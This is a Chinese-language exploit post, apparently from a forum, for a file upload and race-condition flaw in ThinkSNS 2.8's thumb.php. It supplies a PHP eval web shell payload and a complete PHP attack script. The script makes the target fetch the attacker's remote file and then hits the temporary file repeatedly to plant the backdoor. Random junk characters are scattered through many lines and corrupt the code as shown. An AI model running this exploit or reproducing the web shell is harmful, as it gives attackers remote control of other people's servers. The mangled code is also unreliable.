Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
7 T  T' I+ }3 S: \漏洞文件
2 v* n3 {; O; X* E存在漏洞的文件为：thumb.php
9 q# Z$ F2 D: I, m6 D作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
8 A  _. ^7 P7 q文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
8 C$ n8 \# T6 r1 y: N
4 u$ h6 M9 ]1 c- @% @3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
( O+ I* o- g5 M- `<?php
error_reporting(0);
3 z" {, w4 c4 {5 g8 A. V" X# Lset_time_limit(0);
! }2 j4 H) L# |: V8 B: ?+ bini_set(“default_socket_timeout”, 5);
4 o+ @- K' K5 t; j5 D, x1 c4 Qfunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
' ~5 p) t! m/ ]. C6 [8 E1 }* t! A8 dif (!$fp) die(‘Connection -> fail’);
& o+ i2 T' `% @+ L2 y7 C3 |fputs($fp, $headers);
8 f6 q4 z1 ]1 g  X  i0 Preturn $fp;
$ I% U& @* ^: `; s* k* o}
) D: G5 B# E/ X# }! [function http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
' {6 X, I+ I1 s4 Z4 Wfclose($fp);
return $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
6 X$ {% w& V+ p: d0 g  C0 q1 Tprint “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
+ P7 J: `: F( o1 lprint “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
& R& l+ h, S9 }' X/ k$host = $argv[1];
; O% ~, x3 o# c% o+ S$path = $argv[2];
$url = $argv[3];
3 Y& a* \4 R6 G6 d( Q; S* |$i=0;
//上传数据包
0 `8 x, b+ \4 X( e  E9 s) H$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$ ]$ y3 K  V1 D* n) L: }$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
3 r+ I7 C' u+ h7 u3 K+ o/ n$ m//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
  f6 `* q! x2 B; P$ ]5 z$headers .= “Host: “.$host.”\r\n”;
" x/ w# A( t, O; a& D' \# E/ e$headers .= “Connection: close\r\n\r\n”;
" A' B" ~: n$ ~" y+ @7 ~3 N6 s. }  K1 kecho $headers;
" i# w& J3 D- M1 w7 j, d! [  Iwhile(++$i<10) {
# a( x6 h. p9 P" F+ }8 ifclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
7 n( n, K) Q$ Z4 k- T$ w}
. F8 @0 V6 G, r0 k" E$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
1 t5 g% T! {3 q$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
4 k& F6 k0 |- Q/ E$ _8 P7 q9 U, {if(preg_match(‘/200 OK/’,$res)) {
5 g. D/ A' v- t/ _, B' T( ?" Gprint “Success!\n\n”;
} else {
print “Fail!\n\n”;
}
?>
- w" O8 R& e5 k9 B; d​